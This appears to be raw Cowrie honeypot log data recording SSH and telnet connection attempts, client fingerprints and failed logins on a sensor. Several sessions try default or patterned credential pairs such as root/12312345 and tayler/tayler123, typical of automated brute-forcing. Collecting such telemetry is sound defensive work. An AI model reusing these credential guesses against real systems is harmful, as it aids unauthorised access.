{"eventid":"cowrie.session.connect","src_ip":"117.26.225.126","src_port":45824,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45873babbbf","protocol":"telnet","message":"New connection: 117.26.225.126:45824 (10.17.0.5:23) [session: a45873babbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:34.064023Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":47802,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fdbdd5d248f","protocol":"ssh","message":"New connection: 103.98.149.87:47802 (159.203.135.109:22) [session: 3fdbdd5d248f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:43.765692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:43.770153Z","src_ip":"103.98.149.87","session":"3fdbdd5d248f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:43.991736Z","src_ip":"103.98.149.87","session":"3fdbdd5d248f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12312345","message":"login attempt [root/12312345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:44.657027Z","src_ip":"103.98.149.87","session":"3fdbdd5d248f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:45.881626Z","src_ip":"103.98.149.87","session":"3fdbdd5d248f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.964323997497559,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:47.028180Z","src_ip":"117.26.225.126","session":"a45873babbbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00409483909607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:51.076983Z","src_ip":"23.94.28.189","session":"f8094ec070ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44614,"dst_ip":"10.17.0.5","dst_port":23,"session":"3af5bc389702","protocol":"telnet","message":"New connection: 50.6.8.71:44614 (10.17.0.5:23) [session: 3af5bc389702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:34:57.550652Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":39114,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e7cfe72b08","protocol":"ssh","message":"New connection: 103.176.20.57:39114 (159.203.135.109:22) [session: 53e7cfe72b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:15.331954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:15.350047Z","src_ip":"103.176.20.57","session":"53e7cfe72b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:15.599768Z","src_ip":"103.176.20.57","session":"53e7cfe72b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23456789","message":"login attempt [root/23456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:16.348975Z","src_ip":"103.176.20.57","session":"53e7cfe72b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:17.605332Z","src_ip":"103.176.20.57","session":"53e7cfe72b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59010,"dst_ip":"10.17.0.5","dst_port":23,"session":"37877a5c4013","protocol":"telnet","message":"New connection: 50.6.8.71:59010 (10.17.0.5:23) [session: 37877a5c4013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:27.281415Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59012,"dst_ip":"10.17.0.5","dst_port":23,"session":"531dcdaaf042","protocol":"telnet","message":"New connection: 50.6.8.71:59012 (10.17.0.5:23) [session: 531dcdaaf042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:27.564943Z"}
{"eventid":"cowrie.session.closed","duration":31.09613800048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:28.646662Z","src_ip":"50.6.8.71","session":"3af5bc389702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59016,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f2d35cae1e","protocol":"telnet","message":"New connection: 50.6.8.71:59016 (10.17.0.5:23) [session: 47f2d35cae1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:28.875012Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":56514,"dst_ip":"10.17.0.5","dst_port":23,"session":"f857dc6e6767","protocol":"telnet","message":"New connection: 23.94.28.189:56514 (10.17.0.5:23) [session: f857dc6e6767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:29.819604Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59020,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c9f73fe5de","protocol":"telnet","message":"New connection: 50.6.8.71:59020 (10.17.0.5:23) [session: 01c9f73fe5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:32.578930Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40530,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b7a9196731d","protocol":"ssh","message":"New connection: 80.94.92.184:40530 (159.203.135.109:22) [session: 8b7a9196731d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:33.672212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:33.726618Z","src_ip":"80.94.92.184","session":"8b7a9196731d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:33.813083Z","src_ip":"80.94.92.184","session":"8b7a9196731d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:34.629606Z","src_ip":"80.94.92.184","session":"8b7a9196731d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:35.958224Z","src_ip":"80.94.92.184","session":"8b7a9196731d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":42446,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc65b0412242","protocol":"ssh","message":"New connection: 87.106.29.151:42446 (159.203.135.109:22) [session: dc65b0412242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:39.659075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:39.663761Z","src_ip":"87.106.29.151","session":"dc65b0412242","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:39.760948Z","src_ip":"87.106.29.151","session":"dc65b0412242","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"123456","message":"login attempt [system/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:40.185745Z","src_ip":"87.106.29.151","session":"dc65b0412242","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:41.286198Z","src_ip":"87.106.29.151","session":"dc65b0412242","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51882,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f125a4322d8","protocol":"ssh","message":"New connection: 2.57.122.238:51882 (10.17.0.5:22) [session: 1f125a4322d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:41.902491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:41.907354Z","src_ip":"2.57.122.238","session":"1f125a4322d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:42.012178Z","src_ip":"2.57.122.238","session":"1f125a4322d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:42.322991Z","src_ip":"2.57.122.238","session":"1f125a4322d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:43.429553Z","src_ip":"2.57.122.238","session":"1f125a4322d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":15119,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e786aba70f3","protocol":"ssh","message":"New connection: 213.209.159.56:15119 (159.203.135.109:22) [session: 9e786aba70f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:48.627258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:48.631191Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:48.712324Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler","message":"login attempt [tayler/tayler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:49.110563Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler1","message":"login attempt [tayler/tayler1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:50.194950Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler123","message":"login attempt [tayler/tayler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:51.282322Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler1234","message":"login attempt [tayler/tayler1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:52.367342Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tayler","password":"tayler12345","message":"login attempt [tayler/tayler12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:53.451082Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:54.535868Z","src_ip":"213.209.159.56","session":"9e786aba70f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.62.157.119","src_port":53530,"dst_ip":"10.17.0.5","dst_port":22,"session":"c96c09a354ea","protocol":"ssh","message":"New connection: 46.62.157.119:53530 (10.17.0.5:22) [session: c96c09a354ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:58.295368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:58.300041Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:58.412163Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
